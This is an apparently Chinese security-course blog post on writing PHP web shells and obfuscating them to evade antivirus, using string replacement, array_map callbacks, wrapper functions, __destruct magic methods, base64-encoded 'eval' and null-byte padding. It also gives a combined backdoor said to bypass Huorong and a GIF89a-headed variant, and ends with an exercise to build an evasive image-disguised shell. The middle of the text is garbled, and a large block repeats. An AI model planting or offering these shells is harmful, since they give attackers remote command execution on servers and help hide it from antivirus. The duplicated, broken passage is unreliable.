echo, print, unset, isset, empty, include, require, eval

强行调用会抛出异常:

<?php
	$a = "echo";
	$a(1);
// Fatal error: Call to undefined function echo() in F:\phpstudy_pro\WWW\test\index.php on line 3

好在我们可以包装这些函数:

<?php
    function my_eval($cmd){
		@eval($cmd);
	}
	$a = "my_eval";
	$a('phpinfo()');

混淆

  1. 字符串替换:

    <?php
        // 定义my_eval函数
    	$a=substr_replace("my_evxx","al",5);
    	@$a($_POST['cmd']);
    ?>
    

    功能类似函数:

    str_replace()
    substr_replace()
    preg_replace()
    
  2. 利用 array_map(function, array) 该函数为传入的数组中的每一个参数设置一个回调函数:

    <?php  
        function my_eval($cmd){
            eval($cmd);
        }
        array_map("my_eval", ["echo '1</br>';", "var_dump('233')"]);
    // 1string(3) "ctf"
    

    它同样不支持一些特定函数,需要包装后使用

  3. 用函数多层打包:

    <?php
        function my_eval($cmd){
    		@eval($cmd);
    	}
    	function out_eval($name, $cmd){
            $name($cmd);
        }
    	out_eval("my_eval", $_GET['cmd']);
    
  4. 结合类的魔术方法:

    <?php
    	class my_class{
    		public $cmd='';
    		function __destruct(){	// __call, __get
    				@eval("$this->cmd");
    			}
    		}
    		$b=new my_class();
    		$b->cmd=$_POST['cmd'];
    ?>
    
  5. 编码与加密:

    <?php	// base64encode("eval") === "ZXZhbA=="
    	$a = base64_decode("ZXZhbA==");
    	$a($_GET['cmd']);
    

    也可以利用空字符混淆执行的语句(空字符会让eval发出警告,但能正常执行命令):

    <?php	// 
    	@eval("\x00".$_GET['cmd']."\x00");
    

同时结合以上几种方式进行混淆,组合出适用于不同杀软的木马,如本地能过火绒:

<?php
class Test{
    public $config='';
    function __destruct(){
        @eval($this->config);
    }
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>

有意思的是它加上GIF文件的文件头以后就会被查杀:

GIF89a<?php
class Test{
    public $config='';
    function __destruct(){
        @eval($this->config);
    }
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>

r_dump(‘233’)"]);
// 1string(3) “ctf”


它同样不支持一些特定函数,需要包装后使用

3. 用函数多层打包:

```php
<?php
    function my_eval($cmd){
		@eval($cmd);
	}
	function out_eval($name, $cmd){
        $name($cmd);
    }
	out_eval("my_eval", $_GET['cmd']);
  1. 结合类的魔术方法:

    <?php
    	class my_class{
    		public $cmd='';
    		function __destruct(){	// __call, __get
    				@eval("$this->cmd");
    			}
    		}
    		$b=new my_class();
    		$b->cmd=$_POST['cmd'];
    ?>
    
  2. 编码与加密:

    <?php	// base64encode("eval") === "ZXZhbA=="
    	$a = base64_decode("ZXZhbA==");
    	$a($_GET['cmd']);
    

    也可以利用空字符混淆执行的语句(空字符会让eval发出警告,但能正常执行命令):

    <?php	// 
    	@eval("\x00".$_GET['cmd']."\x00");
    

同时结合以上几种方式进行混淆,组合出适用于不同杀软的木马,如本地能过火绒:

<?php
class Test{
    public $config='';
    function __destruct(){
        @eval($this->config);
    }
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>

有意思的是它加上GIF文件的文件头以后就会被查杀:

GIF89a<?php
class Test{
    public $config='';
    function __destruct(){
        @eval($this->config);
    }
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>

在自己电脑上尝试编写能通过电脑上的杀软检测,且带GIF文件头的免杀马。

Copyright © 2024-2025 DHU-r00t f3stu. All Rights Reserved.
仅用于学习交流,请遵守网络安全相关法律,文章造成的一切后果均与本文作者无关。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值